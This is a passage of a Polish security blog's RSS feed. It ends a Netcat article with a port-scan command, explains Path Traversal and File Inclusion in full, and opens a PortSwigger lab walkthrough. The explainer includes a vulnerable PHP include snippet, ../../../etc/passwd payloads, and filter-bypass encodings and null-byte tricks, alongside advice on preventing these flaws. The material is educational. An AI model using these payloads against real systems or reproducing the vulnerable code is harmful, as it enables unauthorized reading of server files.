<p class="wp-block-paragraph">Poniżej polecenie wykonujące skanowanie portów:</p>



<pre class="wp-block-code"><code class="">nc -v -n &lt;adres IP> 1-100</code></pre>



<ul class="wp-block-list">
<li><strong><code>-v</code></strong> &#8211; tryb szczegółowy, wyświetla więcej informacji o połączeniach.</li>



<li><strong><code>-n</code></strong> &#8211; wymusza używanie bezpośrednich adresów IP zamiast nazw domenowych. Netcat nie będzie próbował rozwiązywać adresu IP na nazwę hosta.</li>



<li><strong><code>&lt;adres IP></code></strong> &#8211; określa adres IP zdalnego hosta, który jest sprawdzany pod kątem otwartych portów.</li>



<li><strong><code>1-100</code></strong> &#8211; określa zakres portów, które mają zostać zeskanowane. W powyższym przypadku Netcat będzie sprawdzać porty od 1 do 100.</li>
</ul>



<h2 class="wp-block-heading">Podsumowanie</h2>



<p class="wp-block-paragraph">Największą zaletą Netcata jest możliwość obsługi zarówno protokołów TCP jak i UDP, co czyni go niezwykle elastycznym narzędziem do różnych zadań sieciowych. Netcat jest bardzo prosty w obsłudze i można go szybko uruchomić. Dodatkowo, możliwość tworzenia prostych serwerów sprawia, że narzędzie to znajduje zastosowanie w testach penetracyjnych i diagnozowaniu problemów z siecią.</p>



<p class="wp-block-paragraph">Jednakże Netcat nie jest pozbawiony wad. Brak natywnego szyfrowania komunikacji sprawia, że dane przesyłane za jego pomocą są podatne na podsłuch, co może stanowić poważne zagrożenie w kontekście bezpieczeństwa. Choć istnieją modyfikacje Netcata, które dodają szyfrowanie, nie są one w standardzie.</p>
<p>Artykuł <a href="https://pentestuj.pl/netcat-czym-jest-i-jak-go-uzywac/">Netcat &#8211; czym jest i jak go używać</a> pochodzi z serwisu <a href="https://pentestuj.pl">Pentestuj</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://pentestuj.pl/netcat-czym-jest-i-jak-go-uzywac/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Co to jest podatność Path Traversal i File Inclusion? Czym się różnią obie podatności?</title>
		<link>https://pentestuj.pl/co-to-jest-podatnosc-path-traversal-file-inclusion/</link>
					<comments>https://pentestuj.pl/co-to-jest-podatnosc-path-traversal-file-inclusion/#respond</comments>
		
		<dc:creator><![CDATA[MonikaSz]]></dc:creator>
		<pubDate>Thu, 23 Jan 2025 07:00:00 +0000</pubDate>
				<category><![CDATA[Testy bezpieczeństwa]]></category>
		<guid isPermaLink="false">https://pentestuj.pl/?p=15138</guid>

					<description><![CDATA[<p>Path Traversal, znana również jako directory traversal, dot dot slash lub backtracking to rodzaj podatności, który może występować w różnych systemach i aplikacjach, gdzie użytkownik ma możliwość manipulowania ścieżkami do plików lub katalogów w celu uzyskania nieautoryzowanego dostępu do danych do których nie powinien mieć wglądu. Tego typu podatność może prowadzić do wycieku kodu aplikacji, [&#8230;]</p>
<p>Artykuł <a href="https://pentestuj.pl/co-to-jest-podatnosc-path-traversal-file-inclusion/">Co to jest podatność Path Traversal i File Inclusion? Czym się różnią obie podatności?</a> pochodzi z serwisu <a href="https://pentestuj.pl">Pentestuj</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph"><strong>Path Traversal,</strong> znana również jako <strong>directory traversal</strong>, <strong>dot dot slash </strong>lub <strong>backtracking</strong> to rodzaj podatności, który może występować w różnych systemach i aplikacjach, gdzie użytkownik ma możliwość manipulowania ścieżkami do plików lub katalogów w celu uzyskania nieautoryzowanego dostępu do danych do których nie powinien mieć wglądu. Tego typu podatność może prowadzić do wycieku kodu aplikacji, danych konfiguracyjnych serwera, danych użytkowników, a także innych wrażliwych informacji. Przyczyną powstawania tej luki jest niewystarczająca walidacja danych wejściowych, a także źle ustawione uprawnienia do plików i katalogów. Path Traversal może stanowić podstawę dalszych ataków, np. File Inclusion (LFI lub RFI).</p>



<p class="wp-block-paragraph"><a href="https://pentestuj.pl/path-traversal-web-security-academy-portswigger" target="_blank" rel="noreferrer noopener">Pod tym linkiem </a>znajdziesz rozwiązania zadań wraz z omówieniem z platformy <a href="https://portswigger.net/web-security/all-labs#path-traversal" target="_blank" rel="noreferrer noopener nofollow">Web Security Academy</a>. Po przeczytaniu artykułu zachęcam do utrwalenia swojej wiedzy poprzez rozwiązanie tych zadań 🙂</p>



<h2 class="wp-block-heading">Jak działa Path Traversal</h2>



<p class="wp-block-paragraph">Podatność Path Traversal pojawia się wtedy, gdy aplikacja wykorzystuje dane kontrolowane przez użytkownika bez odpowiedniej walidacji. W takiej sytuacji atakujący może odpowiednio zmodyfikować zapytanie, aby uzyskać dostęp do plików i wrażliwych informacji, do których normalnie nie powinien mieć dostępu. Ważne jest również to jakie są ustawione uprawnienia do plików i katalogów na serwerze. Jeśli są zbyt wysokie, wtedy atakujący może poszerzyć swój wektor ataku. Path Traversal bardzo często jest furtką do dalszych ataków takich jak LFI (Local File Inclusion) oraz RFI (Remote File Inclusion). Obie podatności zostaną omówione w dalszej części artykułu.</p>



<p class="wp-block-paragraph">Path Traversal może występować bezpośrednio w adresie URL, a także w parametrach przekazywanych do aplikacji lub w nagłówkach. Luka może wystąpić w wielu miejscach aplikacji, jednak w szczególności warto testować miejsca w których pliki są pobierane lub wgrywane na serwer, a także wszędzie tam gdzie są wczytywane style lub szablony. <strong>Warto podkreślić, że podatność Path Traversal nie dotyczy tylko aplikacji webowych.</strong></p>



<p class="wp-block-paragraph">Przykładowo mamy aplikację webową, która wyświetla awatar danego użytkownika. Aplikacja wykorzystuje parametr w adresie URL, aby określić które zdjęcie powinno zostać wyświetlone.</p>



<p class="wp-block-paragraph">Przykładowy adres do grafiki z awatarem ma postać:</p>



<pre class="wp-block-code"><code class="">http://example.com/image?avatar=img678.png</code></pre>



<p class="wp-block-paragraph">Tak może wyglądać kod po stronie podatnej aplikacji:</p>



<pre class="wp-block-code"><code class="">&lt;?php
$file = $_GET['avatar'];
include('var/www/images/' . $file);
?&gt;</code></pre>



<p class="wp-block-paragraph">Parametr <code>file</code> określa który plik graficzny ma się wyświetlać danemu użytkownikowi. W normalnych warunkach powinna się wyświetlić grafika, której nazwa znajduje się w adresie URL w parametrze <code>avatar</code>.</p>



<p class="wp-block-paragraph">Jednak kod jest podatny na ataki path traversal, ponieważ łączy dane wejściowe dostarczone przez użytkownika ze ścieżką do pliku bez odpowiedniej walidacji. Atakujący może łatwo wykorzystać tę lukę, dostarczając ładunek, taki jak np. <code>../../../etc/passwd</code>, który umożliwia przechodzenie w górę hierarchii katalogów i uzyskiwanie dostępu do poufnych plików na serwerze. Ponieważ aplikacja nie jest odpowiednio zabezpieczona, atakujący może zmodyfikować powyższy adres zmieniając parametr <code>avatar</code> w poniższy sposób:</p>



<pre class="wp-block-code"><code class="">http://example.com/image?avatar=../../../etc/passwd</code></pre>



<p class="wp-block-paragraph">Zmanipulowany kod po stronie serwera wyglądałby następująco:</p>



<pre class="wp-block-code"><code class="">&lt;?php
$file ='../../../etc/passwd';
include('var/www/images/' . $file);
?&gt;</code></pre>



<p class="wp-block-paragraph">W efekcie serwer wskazuje pod adres:</p>



<pre class="wp-block-code"><code class="">/var/www/images/../../../etc/passwd</code></pre>



<p class="wp-block-paragraph">Znak <code>../</code> oznacza przejście do katalogu nadrzędnego, tak więc w rezultacie serwer wyświetli zawartość pliku <code>etc/passwd</code>, zamiast grafiki z awatarem.</p>



<p class="wp-block-paragraph">Jeśli nie zapewnimy odpowiedniej walidacji przekazywanych danych do naszej aplikacji, ostatnią deską ratunku będą odpowiednio niskie uprawnienia. Jeśli będą one zbyt wysokie, wtedy atakujący z powodzeniem wykona swój atak.</p>



<h2 class="wp-block-heading">Czym jest File Inclusion</h2>



<p class="wp-block-paragraph"><strong>File Inclusion</strong> to rodzaj podatności, która pozwala atakującym na dołączenie i wykonanie kodu z plików (lokalnych lub zdalnych) w kontekście aplikacji. Często występuje w językach programowania takich jak PHP, gdzie funkcje dołączające pliki (np. include(), require()) są źle zabezpieczone. Wyróżnia się dwa rodzaje podatności <strong>File Inclusion</strong>:</p>



<ul class="wp-block-list">
<li><strong>Local File Inclusion (LFI) </strong>&#8211; to luka w zabezpieczeniach aplikacji, która polega na wyświetleniu zawartości plików lub wykonaniu kodu z plików znajdujących się lokalnie na serwerze. LFI może prowadzić do dalszej eskalacji ataku. Atakujący może nawet przejąć kontrolę nad serwerem.</li>



<li><strong>Remote File Inclusion (RFI)</strong> &#8211; to luka, która pozwala atakującemu na dołączenie i wykonanie kodu z plików znajdujących się na zdalnym serwerze. W przypadku gdy aplikacja jest źle skonfigurowana (np. funkcja allow_url_include w PHP jest włączona), plik zostanie pobrany i wykonany w kontekście serwera aplikacji. W ten sposób można uruchomić złośliwy kod, który pozwala na kradzież danych, wykonanie dowolnych poleceń lub nawet przejęcie kontroli nad serwerem.</li>
</ul>



<h2 class="wp-block-heading">Jaka jest różnica pomiędzy Path Traversal a File Inclusion</h2>



<ol class="wp-block-list">
<li><strong>Charakter podatności</strong><br>Path Traversal umożliwia atakującemu odczyt plików i katalogów do których nie powinien mieć dostępu. <br>Natomiast File Inclusion pozwala na dołączanie lub wykonywanie i odczytywanie dowolnych plików z lokalnego lub zdalnego serwera.</li>



<li><strong>Wpływ na serwer</strong><br>Path Traversal umożliwia atakującemu dostęp do poufnych plików i katalogów na serwerze. Może to prowadzić do kradzieży danych lub nawet przejęcia serwera.<br>File Inclusion umożliwia atakującemu wykonanie dowolnego kodu z pliku na serwerze. Prowadzi to do całkowitego naruszenia bezpieczeństwa serwera.</li>



<li><strong>Skutek</strong><br>Obie podatności mogą nieść ze sobą poważne skutki. Jednak przyjmuje się, że File Inclusion jest poważniejsza z uwagi na możliwość wykonania dowolnego kodu na serwerze.</li>



<li><strong>Przyczyna</strong><br>Zarówno Path Traversal, jak i File Inclusion mogą być spowodowane przez niewystarczającą walidację oraz brak odpowiedniej kontroli dostępu. Path Traversal występuje, gdy aplikacja nie może zweryfikować danych wejściowych użytkownika używanych do uzyskania dostępu do systemu plików, natomiast File Inclusion występuje, gdy dane wejściowe użytkownika są używane do dołączenia plików ze zdalnego lub lokalnego serwera bez odpowiedniej walidacji.</li>
</ol>



<h2 class="wp-block-heading">Jak ominąć filtry</h2>



<p class="wp-block-paragraph">Path Traversal jest znaną i dość popularną podatnością i w związku z tym oprogramowania klasy IDS (ang. <em>Intrusion Detection System</em>), czyli systemy wykrywania włamań, wykrywają i skutecznie unicestwiają znane ataki, poprzez usuwanie z zapytań ciągów<strong> <code>../</code></strong> oraz ich wariacji. Poniżej opisuję kilka sposobów na ominięcie filtrów.</p>



<h3 class="wp-block-heading">Użycie wariacji znaków . / \</h3>



<p class="wp-block-paragraph">Jeśli system ochrony usuwa tylko raz z zapytania sekwencję <strong><code>../</code></strong>, bez ponownego sprawdzenia przekazanego ciągu zapytania, jest możliwe ominięcie zabezpieczeń dodając dodatkowe znaki kropek i ukośników. Takie zapytanie może mieć wtedy postać:</p>



<pre class="wp-block-code"><code class="">....//....//....//etc/passwd</code></pre>



<p class="wp-block-paragraph">Sekwencje w czerwonych ramkach na poniższym zrzucie są usuwane przez system zabezpieczający:</p>



<figure class="wp-block-image size-full is-resized"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger.png"><img loading="lazy" decoding="async" width="800" height="211" src="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger.png" alt="Co to jest path traversal" class="wp-image-15050" style="width:600px" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger.png 800w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-300x79.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-768x203.png 768w" sizes="auto, (max-width: 800px) 100vw, 800px" data-mwl-img-id="15050" /></a></figure>



<p class="wp-block-paragraph">Po usunięciu powyższych znaków otrzymujemy zapytanie jak na poniższym rzucie:</p>



<figure class="wp-block-image size-full is-resized"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-2-2.png"><img loading="lazy" decoding="async" width="335" height="93" src="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-2-2.png" alt="Co to jest path traversal" class="wp-image-15052" style="width:400px" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-2-2.png 335w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-2-2-300x83.png 300w" sizes="auto, (max-width: 335px) 100vw, 335px" data-mwl-img-id="15052" /></a></figure>



<p class="wp-block-paragraph">Jak widzisz system zabezpieczający powinien dokonać rekurencyjnej walidacji.</p>



<h3 class="wp-block-heading">Kodowanie znaków</h3>



<p class="wp-block-paragraph">Jeśli jednak system zabezpieczający działa prawidłowo w powyższym zakresie, możesz zastosować:</p>



<ul class="wp-block-list">
<li>kodowanie URL (<code>.</code> = <code>%2E</code>, <code>/</code> = <code>%2F</code>, <code>\</code> = <code>%5C</code>)</li>



<li>podwójne kodowanie URL (<code>.</code> = <code>%252E</code>, <code>/</code> = <code>%252F</code>, <code>\</code> = <code>%255C</code>)</li>



<li>kodowanie UTF-16 (<code>.</code> = <code>%u002e</code>, <code>/</code> = <code>%u2215</code>, <code>\ </code>= <code>%u2216</code>)</li>



<li>pojedyncze lub wielokrotne kodowanie UTF-8 (<code>.</code> = <code>%c0%2e</code> , <code>/ </code>= <code>%c0%af</code>, <code>\</code> =  <code>%c0%5c</code>).</li>
</ul>



<p class="wp-block-paragraph">Poniżej zestawienie w tabelce:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td><strong>Znak wyjściowy</strong></td><td>.</td><td>/</td><td>\</td></tr><tr><td><strong>Kodowanie procentowe URL</strong></td><td>%2E</td><td>%2F</td><td>%5C</td></tr><tr><td><strong>Kodowanie podwójne procentowe URL</strong></td><td>%252E</td><td>%252F</td><td>%255C</td></tr><tr><td><strong>Kodowanie UTF-16</strong></td><td>%u002e</td><td>%u2215</td><td>%u2216</td></tr><tr><td><strong>Pojedyncze kodowanie UTF-8</strong></td><td>%c0%2e</td><td>%c0%af</td><td>%c0%5c</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Można również mieszać ze sobą różne rodzaje kodowania, aby utrudnić detekcję. W niektórych systemach można zamienić zwykłe ukośniki na odwrotne.</p>



<h3 class="wp-block-heading">Zastosowanie bajtu zerowego</h3>



<p class="wp-block-paragraph">W sytuacji gdy aplikacja wymaga, aby podana przez użytkownika nazwa pliku kończyła się oczekiwanym rozszerzeniem, np. <code>.png</code>, wówczas możliwe jest użycie bajtu zerowego, aby skutecznie zakończyć ścieżkę pliku przed wymaganym rozszerzeniem:</p>



<pre class="wp-block-code"><code class="">filename=../../../etc/passwd%00.png</code></pre>



<p class="has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color wp-elements-8 wp-block-paragraph"><strong>Bajt zerowy</strong> (inaczej znak pusty, null character) jest zdefiniowany w&nbsp;standardach ASCII i&nbsp;Unicode Bajt. Oznacza koniec łańcucha. Bajt zerowy jest oznaczony: <strong>%00.</strong> Wszystko co&nbsp;się za&nbsp;nim znajduje jest ignorowane.</p>



<h3 class="wp-block-heading">Użycie ścieżki bezwzględnej</h3>



<p class="wp-block-paragraph">Czasem może być tak, że aplikacja pozwala na użycie ścieżki bezwzględnej. Więcej na ten temat przeczytasz w tym artykule: <a href="https://pentestuj.pl/path-traversal-web-security-academy-portswigger#zadanie-nr-2" target="_blank" rel="noreferrer noopener">Podatność Path Traversal – rozwiązanie zadań PortSwigger wraz z&nbsp;omówieniem.</a></p>



<h2 class="wp-block-heading">Narzędzia do lokalizowania podatności Path Traversal</h2>



<p class="wp-block-paragraph">Podatności Path Traversal można szukać ręcznie. W takim przypadku wystarczy program <a href="https://portswigger.net/burp/communitydownload" target="_blank" rel="noreferrer noopener nofollow">Burp Suite</a> lub <a href="https://www.zaproxy.org/" target="_blank" rel="noreferrer noopener nofollow">OWASP ZAP</a>, za pomocą których możemy przechwytywać zapytania i je modyfikować.</p>



<p class="wp-block-paragraph">Drugą opcją jest skorzystanie z automatycznych skanerów podatności np. <a href="https://www.kali.org/tools/dotdotpwn/" target="_blank" rel="noreferrer noopener nofollow">DotDotPwn</a>. Oczywiście wyższej wymienione programy również posiadają zaawansowane skanery.</p>



<p class="wp-block-paragraph">Poniższej znajdziesz listę narzędzi, które są bardzo pomocne w szukaniu podatności Path Traversal:</p>



<ul class="wp-block-list">
<li><strong><a href="https://portswigger.net/burp/releases/professional-community-edition-2025-12-5?requestededition=community&amp;requestedplatform=" target="_blank" rel="noreferrer noopener nofollow">Burp Suite</a></strong> &#8211;  jest to najpopularniejsze narzędzie do przechwytywania i modyfikowania zapytań do serwera. W wersji Community dostępny jest moduł Intruder za pomocą którego można sprawdzić dostępność popularnych lokacji na serwerach poprzez fuzzing. Należy jednak zaznaczyć, że w bezpłatnej wersji szybkość fuzzowania jest znacznie wolniejsza niż w wersji Professional. Ponadto w wersji płatnej do dyspozycji mamy skaner, który potrafi wykryć m.in. podatność Path Traversal.</li>



<li><strong><a href="https://www.zaproxy.org/" target="_blank" rel="noreferrer noopener nofollow">OWASP ZAP (Zed Attack Proxy)</a> – </strong>jest to alternatywa dla Burp Suite. OWASP ZAP jest narzędziem open source i jest rozwijany przez Open Web Application Security Project (OWASP). OWASP ZAP również posiada skaner podatności i jest dostępny w pełni za free.</li>



<li><strong><a href="https://www.kali.org/tools/dirbuster/" target="_blank" rel="noreferrer noopener nofollow">DirBuster</a> </strong>– narzędzie to również jest rozwijane przez OWASP. Za jego pomocą można zlokalizować ukryte pliki i katalogi poprzez fuzzing.</li>



<li><strong><a href="https://www.kali.org/tools/dotdotpwn/" target="_blank" rel="noreferrer noopener nofollow">DotDotPwn</a> </strong>&#8211; narzędzie to, jak sama nazwa wskazuje, jest specjalnie zaprojektowane do testowania luk w zabezpieczeniach typu Directory Traversal. Działa poprzez wysyłanie specjalnie spreparowanych żądań do serwera i analizowanie odpowiedzi.</li>
</ul>



<h2 class="wp-block-heading">Czym może skutkować obecność Path Traversal i File Insclusion w aplikacji</h2>



<p class="wp-block-paragraph">Wykorzystanie luki w zabezpieczeniach typu Path Traversal oraz File Inclusion może prowadzić do różnych konsekwencji, w zależności od specyfiki podatności, a także konfiguracji serwera, np.:</p>



<ul class="wp-block-list">
<li><strong>Odczyt dowolnych plików</strong> &#8211; najprostszym sposobem wykorzystania tej podatności jest uzyskanie dostępu do dowolnych katalogów oraz plików na serwerze. Może to skutkować ujawnieniem poufnych informacji, takich jak pliki konfiguracyjne, kod źródłowy aplikacji, dane do logowania do bazy danych, itp. Tego typu wyciek danych może stanowić poważne zagrożenie dla bezpieczeństwa całego systemu. Warto również wspomnieć o tym, że w niektórych przypadkach możliwe jest również wylistowanie zawartości danego katalogu.</li>



<li><strong>Wgrywanie dowolnych plików </strong>&#8211; w pewnych sytuacjach atakujący może wykorzystać podatność do wgrywania swoich plików na serwer. Przykładowo atakujący może zmodyfikować plik konfiguracyjny, co może zakłócić działanie aplikacji lub nawet pozwolić atakującemu na uruchomienie własnego kodu. Atakujący może też nadpisać plik z danymi, co może skutkować ich utratą lub uszkodzeniem.</li>



<li><strong>Wykonanie kodu na serwerze</strong> &#8211; w niektórych przypadkach atakujący może wykorzystać podatność do uruchomienia dowolnego kodu na serwerze. Zazwyczaj osiąga się to poprzez zapisanie pliku, który później zostanie wykonany przez serwer. Jeśli aplikacja internetowa działa w PHP i atakujący może dzięki luce zapisać plik z rozszerzeniem <em>.php</em> na serwerze, może później wymusić jego uruchomienie przez serwer. W efekcie serwer wykona kod zawarty w pliku, co pozwoli atakującemu przejąć nad nim kontrolę.</li>
</ul>



<h2 class="wp-block-heading">Jak zabezpieczyć swoją aplikację przed Path Traversal</h2>



<h3 class="wp-block-heading">Odpowiednia walidacja</h3>



<p class="wp-block-paragraph">Upewnij się, że wszystkie dane wejściowe, które są kontrolowane przez użytkownika są prawidłowo walidowane i oczyszczane. Jest to kluczowy krok, aby uniemożliwić atakującym manipulowanie ścieżkami oraz dołączanie złośliwych plików.</p>



<h3 class="wp-block-heading">Unikaj czarnych list</h3>



<p class="wp-block-paragraph">Czarna lista jest złą praktyką, ponieważ istnieje więcej sposobów na wykonanie tego samego żądania. Sprytni atakujący zawsze znajdą sposoby na ominięcie ograniczeń dla danych wejściowych dostarczanych przez użytkownika. Na przykład ../../../etc/ można również zapisać w następujący sposób: ..%2F..%2F..%2Fetc%2F.</p>



<p class="wp-block-paragraph">Jeśli chcesz mieć dostęp do określonych plików, użyj białą listę obejmującą pliki, które mogą być dołączane do żądania. Jeśli to możliwe, odrzuć każde żądanie, które nie spełnia tych kryteriów.</p>



<h3 class="wp-block-heading">Odpowiednio skonfiguruj serwer</h3>



<p class="wp-block-paragraph">Skonfiguruj ustawienia serwera, tak aby uniemożliwić zdalne dołączanie plików, a także ograniczyć możliwość dostępu skryptów do systemu plików. W przypadku PHP dyrektywy takie jak allow_url_fopen i allow_url_include powinny być wyłączone, jeśli nie są potrzebne do działania aplikacji.</p>



<h3 class="wp-block-heading">Regularnie testuj swoją aplikację</h3>



<p class="wp-block-paragraph">Warto regularnie przeprowadzać audyty bezpieczeństwa aplikacji pod kątem występowania potencjalnych luk. Zadanie to możemy sobie ułatwić korzystając z zautomatyzowanych narzędzi. Pamiętaj jednak, że nie zawsze skaner wykryje wszystkie luki. Dlatego właśnie warto także przeprowadzić ręczną kontrolę. </p>



<h2 class="wp-block-heading">Podsumowanie</h2>



<p class="wp-block-paragraph">Luki w zabezpieczeniach związane z przechodzeniem przez ścieżki stanowią poważne zagrożenie, które może skutkować ujawnieniem poufnych danych lub nawet wykonaniem dowolnego kodu. Pomimo, że Path Traversal i File Inclusion nie są nowymi podatnościami, ale nadal można je znaleźć w różnego rodzajach aplikacjach. Programiści powinni zdawać sobie sprawę z tego ryzyka i podjąć działania, aby je ograniczyć w swoich projektach.</p>
<p>Artykuł <a href="https://pentestuj.pl/co-to-jest-podatnosc-path-traversal-file-inclusion/">Co to jest podatność Path Traversal i File Inclusion? Czym się różnią obie podatności?</a> pochodzi z serwisu <a href="https://pentestuj.pl">Pentestuj</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://pentestuj.pl/co-to-jest-podatnosc-path-traversal-file-inclusion/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Podatność Path Traversal &#8211; rozwiązanie zadań PortSwigger wraz z omówieniem</title>
		<link>https://pentestuj.pl/path-traversal-web-security-academy-portswigger/</link>
					<comments>https://pentestuj.pl/path-traversal-web-security-academy-portswigger/#respond</comments>
		
		<dc:creator><![CDATA[MonikaSz]]></dc:creator>
		<pubDate>Tue, 21 Jan 2025 07:00:52 +0000</pubDate>
				<category><![CDATA[Testy bezpieczeństwa]]></category>
		<guid isPermaLink="false">https://pentestuj.pl/?p=14995</guid>

					<description><![CDATA[<p>Na stronie PortSwigger w dziale Web Security Academy jest dostępnych 6 zadań, dzięki którym możemy poćwiczyć wykorzystanie podatności Path Traversal. W poradniku pokażę rozwiązanie tych zadań. Sądzę że warto rozumieć czym jest Path Traversal, żeby potem móc jej szukać w rzeczywistych aplikacjach, ponieważ pomimo że jest to stara podatność, nadal się pojawia. File Path Traversal [&#8230;]</p>
<p>Artykuł <a href="https://pentestuj.pl/path-traversal-web-security-academy-portswigger/">Podatność Path Traversal &#8211; rozwiązanie zadań PortSwigger wraz z omówieniem</a> pochodzi z serwisu <a href="https://pentestuj.pl">Pentestuj</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Na stronie <a href="https://portswigger.net/web-security/all-labs#path-traversal" target="_blank" rel="noreferrer noopener nofollow">PortSwigger</a> w dziale Web Security Academy jest dostępnych 6 zadań, dzięki którym możemy poćwiczyć wykorzystanie podatności Path Traversal. W poradniku pokażę rozwiązanie tych  zadań. Sądzę że warto rozumieć czym jest Path Traversal, żeby potem móc jej szukać w rzeczywistych aplikacjach, ponieważ pomimo że jest to stara podatność, nadal się pojawia.</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-laboratorium-portswigger.png"><img decoding="async" src="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-laboratorium-portswigger.png" alt="path traversal laboratorium portswigger" class="wp-image-15118" data-mwl-img-id="15118"/></a></figure>



<h2 class="wp-block-heading">File Path Traversal simple &#8211; zadanie numer 1</h2>



<div class="wp-block-kadence-advancedbtn kb-buttons-wrap kb-btns14995_d0ad8d-74"><a class="kb-button kt-button button kb-btn14995_0e8957-a1 kt-btn-size-small kt-btn-width-type-auto kb-btn-global-fill kt-btn-has-text-true kt-btn-has-svg-false wp-block-kadence-singlebtn" href="https://portswigger.net/web-security/file-path-traversal/lab-simple" target="_blank" rel="noreferrer noopener nofollow sponsored"><span class="kt-btn-inner-text">Przejdź do zadania</span></a></div>



<p class="wp-block-paragraph">Żeby rozwiązać to zadanie musimy wyświetlić zawartość pliku <code>etc/passwd</code>. Jest to plik który standardowo występuje w systemie Linux.  W pliku tym znajdują się informacje na temat zarejestrowanych użytkowników w danym systemie. W opisie zadania mamy wskazówkę, że luka znajduje się w mechanizmie odpowiedzialnym za wyświetlanie zdjęć produktowych.</p>



<p class="wp-block-paragraph"><strong>Treść laboratorium:</strong></p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-simple-1-1.png"><img decoding="async" src="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-simple-1-1.png" alt="File path traversal, simple case" class="wp-image-15117" data-mwl-img-id="15117"/></a></figure>



<p class="wp-block-paragraph">Zajrzyjmy jak wygląda pierwsze laboratorium. Jest to sklep internetowy. Jeśli klikniemy w dany produkt, możemy zauważyć, że przy każdym produkcie są gwiazdki z oceną, cena, zdjęcie, opis oraz link powrotny. Ponieważ w opisie zadania jest informacja, że luka znajduje się w mechanizmie wyświetlania obrazków produktów, musimy  bliżej się temu przyjrzeć.</p>



<p class="wp-block-paragraph">Otwórzmy zdjęcie dowolnego produktu w nowej zakładce, żeby zobaczyć jaką strukturę ma adres URL:</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-simple-3-1.png"><img loading="lazy" decoding="async" width="765" height="403" src="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-simple-3-1.png" alt="File path traversal, simple case" class="wp-image-15010" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-simple-3-1.png 765w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-simple-3-1-300x158.png 300w" sizes="auto, (max-width: 765px) 100vw, 765px" data-mwl-img-id="15010" /></a></figure>



<p class="wp-block-paragraph">Zauważ, że nazwa obrazka jest wartością przekazywaną do parametru <code>filename</code>.</p>



<p class="wp-block-paragraph">Dla porównania sprawdźmy adres URL grafiki przy innym produkcie:</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-simple-4-2.png"><img loading="lazy" decoding="async" width="775" height="478" src="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-simple-4-2.png" alt="File path traversal, simple case" class="wp-image-15012" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-simple-4-2.png 775w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-simple-4-2-300x185.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-simple-4-2-768x474.png 768w" sizes="auto, (max-width: 775px) 100vw, 775px" data-mwl-img-id="15012" /></a></figure>



<p class="wp-block-paragraph">Adres URL tych dwóch obrazków różni się tylko wartością parametru <code>filename</code>.</p>



<p class="wp-block-paragraph">Zajrzyjmy jeszcze do źródła strony w miejscu gdzie wyświetla się nasza grafika:</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-web-security-academy.png"><img loading="lazy" decoding="async" width="789" height="607" src="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-web-security-academy.png" alt="File path traversal, simple case" class="wp-image-15006" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-web-security-academy.png 789w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-web-security-academy-300x231.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-web-security-academy-768x591.png 768w" sizes="auto, (max-width: 789px) 100vw, 789px" data-mwl-img-id="15006" /></a></figure>



<p class="wp-block-paragraph">Możemy z tego wywnioskować, że z adresu URL jest pobierana nazwa obrazka w formie jawnej i jest przekazywana do kodu odpowiedzialnego za wyświetlanie grafiki na stronie. Tak więc w tym miejscu spróbujemy dodać nasz payload, czyli przekażemy zmodyfikowaną wartość do parametru <code>filename</code>.</p>



<p class="wp-block-paragraph">Odpalmy program Burp Suite. W zakładce <strong>Proxy -&gt; HTTP History</strong> znajdujemy żądanie wyświetlenia grafiki do wybranego produktu. Niestety u mnie nie widać tego żądania, ponieważ w filtrowaniu mam wyłączony ten typ żądania</p>



